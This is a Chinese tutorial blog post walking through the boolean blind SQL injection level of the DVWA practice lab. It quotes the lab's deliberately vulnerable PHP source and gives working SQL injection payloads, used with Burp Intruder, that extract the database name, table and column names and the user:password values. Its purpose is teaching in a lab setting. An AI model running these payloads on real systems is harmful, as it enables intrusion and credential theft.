当前位置: 首页 > news >正文

DVWA靶场保姆级通关教程--08SQL盲注(上)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 目录

    文章目录

    前言

    类比:SQL盲注就像和“机器人女友”猜秘密

    对应SQL盲注:

    SQL盲注常见类型:

    语句原文:

    拆解讲解

    1. ' AND ... --

    2. updatexml(1, concat(0x7e, (SELECT database())), 1)

    updatexml(XPath_target, XPath_expression, XPath_value)

    concat(0x7e, (SELECT database()))

    一、low级别的源码分析

    安全问题说明:

    注入示例:

    理解布尔盲注(Boolean-Based Blind SQL Injection)是什么?

    具体来看你的 DVWA 示例:

    ✅ 测试1:?id=1' and 1=1 --

    ❌ 测试2:?id=1' and 1=2 --

    总结

    二、使用bp辅助SQL注入

    猜解库名的字段长度,猜解库名

    猜解表长度,然后猜解表名 

    猜解字段长度和字段名:

    猜解字段值 

前言

SQL盲注(SQL Blind Injection)是一种特殊类型的SQL注入攻击,其本质仍是通过构造恶意SQL语句操控后台数据库,但与普通SQL注入不同的是:

在SQL盲注中,页面不会返回明显的数据库错误信息或查询结果。

攻击者只能通过观察应用程序响应的细微差异(如页面是否跳转、是否显示某个提示、响应时间长短等)来判断注入是否成功,从而一点一点“猜”出数据库中的信息

类比:SQL盲注就像和“机器人女友”猜秘密

想象你有一个机器人女友,她程序设定得很严谨:

  • 不会直接告诉你秘密

  • 不会提供任何线索或提示

  • 她的回答只有两个字:“是” 或 “不是”。

于是你开始怀疑她藏了一个秘密,比如她日记里藏了某个名字,你很想知道是谁。你只能这样问她:

“你藏的第一个字母是 A 吗?”
她回答:“不是。”

“那是 B 吗?”
她回答:“是。”

你就知道,第一个字母是 B。然后你继续问第二个字母、第三个字母……
一次次靠“是”与“不是”的回答,一点一点把她的秘密拼出来。


对应SQL盲注:

类比内容实际含义
机器人女友被注入的Web系统
是/不是页面是否跳转、响应时间是否延迟等
一位位猜字母猜字段名、表名、数据值的每一位字符
她不告诉你内容页面没有错误信息或查询结果
你靠问问题来猜构造SQL语句来判断真假

SQL盲注常见类型:

类型特点示例
布尔型盲注通过判断页面响应是否变化(true/false)推断数据' AND SUBSTRING((SELECT database()),1,1)='m' --
时间型盲注利用数据库延时函数(如 sleep)判断条件真假' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0) --
基于错误的盲注尝试触发语法错误或类型转换错误判断是否可注入' AND updatexml(1,concat(0x7e,(SELECT database())),1) --

基于错误的盲注 尝试触发语法错误或类型转换错误判断是否可注入 ' AND updatexml(1,concat(0x7e,(SELECT database())),1) -- 具体说说这个语句

语句原文:

' AND updatexml(1, concat(0x7e, (SELECT database())), 1) --

这是一个基于错误回显的SQL盲注语句,它的目标是:触发数据库的错误信息来泄露敏感数据(比如当前数据库名)。


拆解讲解

1. ' AND ... --
  • 单引号 ' 用于闭合原有的SQL语句。

  • AND 用来拼接一个额外的SQL语句。

  • -- 是SQL中的注释符,表示后面的内容都不会被执行(用来注释掉原来的尾部语句,防止语法错误)。

例如原始语句可能是:

SELECT * FROM users WHERE username = '$input'

输入了 ' AND ... -- 后,变成:

SELECT * FROM users WHERE username = '' AND updatexml(...) -- '
2. updatexml(1, concat(0x7e, (SELECT database())), 1)

这个函数组合才是核心:

updatexml(XPath_target, XPath_expression, XPath_value)

MySQL中的一个XML函数,本意是更新XML文档中的内容,但当语法错误时,MySQL会抛出异常,并把错误信息回显在页面中

concat(0x7e, (SELECT database()))
  • 0x7e 是十六进制的 ~ 字符。

  • SELECT database() 会返回当前数据库的名称。

  • concat(...) 拼接成 ~my_database_name 这样的字符串。

当这个拼接结果作为 updatexml 的 XPath 表达式时,就会因为格式不合法而抛出错误:

ERROR: XPATH syntax error: '~my_database_name'

正是这个 错误信息 把数据库名“偷偷暴露”了出来!

一、low级别的源码分析

<?php// 判断是否通过GET方式提交了表单(是否点击了Submit按钮)
if( isset( $_GET[ 'Submit' ] ) ) {// 获取用户提交的id参数$id = $_GET[ 'id' ];// 构造SQL语句,将用户输入直接拼接到SQL语句中(存在SQL注入风险)$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";// 执行SQL查询,查询结果赋值给$result;注释掉了'or die',以防止数据库错误信息泄露(但仍然存在注入风险)$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors// 获取返回结果的行数,用来判断是否查询到了数据;使用@符号抑制错误信息$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors// 如果返回行数大于0,说明用户ID存在if( $num > 0 ) {// 给用户的反馈:ID存在echo '<pre>User ID exists in the database.</pre>';}else {// 如果没找到对应用户,则返回404状态码header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// 给用户的反馈:ID不存在echo '<pre>User ID is MISSING from the database.</pre>';}// 关闭数据库连接((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

安全问题说明:

  • 用户输入未经过任何过滤或转义,直接拼接进 SQL 语句,是典型的 SQL盲注(Blind SQL Injection) 场景。

  • 因为没有显示返回查询结果,只通过“ID是否存在”的提示来反馈判断结果,因此是布尔型盲注(Boolean-based Blind Injection)。

  • 适合用 and 1=1, and 1=2 等布尔逻辑语句进行注入测试。

注入示例:

这里用--测试,会失败,都是提示MISSING,那么相到--是注释,#也是注释,所以这里将--替换为#测试

输入ID参数实际SQL语句说明
'1' and 1=1 -- user_id = ''1' and 1=1 -- '语法错误(引号嵌套了)
1' and 1=1 -- user_id = '1' and 1=1 -- '正确(注入闭合了前面的引号)
1' and 1=2 -- user_id = '1' and 1=2 -- '正确(用于布尔盲注测试)

 观察上面两个页面的输出,能够看到这是典型的布尔型注入:

下面说一下布尔型注入的逻辑理解:

理解布尔盲注(Boolean-Based Blind SQL Injection)是什么?

布尔盲注不是直接获取数据库数据,而是通过页面返回的“真假状态”来判断 SQL 条件是否生效

我们利用的是:
✅ 如果 SQL 条件为真 → 页面返回正常内容
❌ 如果 SQL 条件为假 → 页面返回错误提示或不同的响应


具体来看你的 DVWA 示例:

原始 SQL:

SELECT first_name, last_name FROM users WHERE user_id = '$id';

比如你输入:

?id=1

SQL 实际变为:

SELECT first_name, last_name FROM users WHERE user_id = '1';

数据库中有 user_id = 1,页面显示:

User ID exists in the database.

User ID exists in the database.


测试1:?id=1' and 1=1 --

这个 payload 拼接后变成:

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 -- ';

注意这里:

  • '1' and 1=1 恒为真

  • SQL 没有语法错误(成功闭合)

  • 如果有 user_id = 1,就会返回“User ID exists…”

所以你看到的是:页面正常 → 条件为真 → 注入成功


测试2:?id=1' and 1=2 --

SQL 变成:

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 -- ';

这里:

  • 1=2 恒为假

  • 即使 user_id = 1 存在,但 1 and false 为假

  • 整个 WHERE 条件失败,没有记录被查询出来

所以你看到的是:页面提示“User ID is MISSING” → 条件为假 → 注入成功


总结

PayloadSQL效果返回结果判断
?id=1' and 1=1 -- user_id = '1' and 1=1 → 恒为真User ID exists注入成功,逻辑为真
?id=1' and 1=2 -- user_id = '1' and 1=2 → 恒为假User ID is MISSING注入成功,逻辑为假

通过这两次请求,你证明了你可以控制SQL语句的布尔条件判断,这就是布尔盲注的核心。

二、使用bp辅助SQL注入

1.判断注入点

2.猜解库名的字符长度,猜解库名

3.猜解表名的字符长度,猜解表名

4.猜解字段名的字符长度,猜解字段名

5.猜解字段值的字符长度,猜解字段值

猜解库名的字段长度,猜解库名

输入:1' and length(database())=n # 

输入之后点击submit提交之前,开启抓包,发送给攻击模块,发现对我们提交的请求进行的了编码

 将n添加为变量,点击n,点击add添加,就用sniper的攻击模式,呈现结果如下图所示:

 设置pyload类型、范围和步长

点击开始攻击===》length排序===》发现数据库名的字符长度是4

那么接下来就是猜解具体的库名,当然可以一个一个字母或者可打印字符的去猜,但是这样猜效率太低,通常是转换成ASCII码去猜,猜解ASCII码的可打印字符范围32-126,设置步长是1 

输入:1'  and ord(substr(database(),m,1))=n #

开启抓包===》发送给攻击模块===》clear===》add(将m和n添加为变量)===》攻击模式选择集束炸弹

m是库名的取值范围就是:1-4

n是ASCII码可打印字符的范围:32-126,步长为1(共95个可打印字符)

猜解次数=4*95=280次  #每一个位置都要猜解95次,得到这个位的正确的字符

 将结果复制到Excel表,删除其他行只保留位置和对应的ASCII码行

选中位置点击排序===》按升序排序===》扩展选定区域

复制ASCII编码以及后面的空列

 

利用工具或者ai等、批量解码ASCII可以得到数据库名字是“dvwa”,

网址:https://www.toolnb.com/tools/asciiTools.html

 

 

猜解表长度,然后猜解表名 

输入:1' and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'), m, 1))=n #

上面的语句省略了一个length猜解表长度,步骤同上

 同上查询结果

得到表名:guestbook,users

猜解字段长度和字段名:

输入:1' and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'), m, 1))=n #


这里得到了所有的字段名

 

猜解字段值 

输入:1' and ord(substr((select group_concat(user,':',password) from users),m,1))=n #

或者查指定库名.表名

1' and ord(substr((select group_concat(user,':',password) from dvwa.users), m, 1)) = n #

这个语法没问题,但是试了几次都没有得到正确的结果,大家可以自行尝试,得到结果欢迎留言,下期带来用SQLmap自动化注入,low和medium和high的练习
 

相关文章:

  • Linux常用命令(持续完善)
  • 深入解读tcpdump:原理、数据结构与操作手册
  • Ollama+OpenWebUI+docker完整版部署,附带软件下载链接,配置+中文汉化+docker源,适合内网部署,可以局域网使用
  • 1.6 偏导数
  • 打破产品思维--被讨厌的勇气--实战5
  • 兴业拍卖周报|25年第19周,北京拍卖房市场总成交价破11亿
  • A Survey of Learning from Rewards:从训练到应用的全面剖析
  • C语言-第一章节---常量
  • EMQX本地部署
  • 软件测试——开发模型
  • 批量重命名bat
  • 【PXIE301-211】基于PXIE总线的16路并行LVDS数据采集、1路光纤数据收发处理平台
  • 制作一款打飞机游戏45:简单攻击
  • 处理 Websocket 超时问题
  • 密码学--仿射密码
  • 5月12日信息差
  • Matlab 模糊控制平行侧边自动泊车
  • 动态IP技术赋能业务创新:解锁企业数字化转型新维度
  • Vue 2 项目中配置 Tailwind CSS 和 Font Awesome 的最佳实践
  • 最大m子段和
  • 总没胃口,一吃就饱……别羡慕,也可能是生病了
  • 西藏日喀则市拉孜县发生5.5级地震,震感明显部分人被晃醒
  • 江西暴雨强对流明显,专家:落雨区高度重叠,地质灾害风险高
  • 欧盟委员会计划对950亿欧元美国进口产品采取反制措施
  • 观察|印巴交火开始升级,是否会演变为第四次印巴战争?
  • 用社群活动维系“不开发”古镇的生命力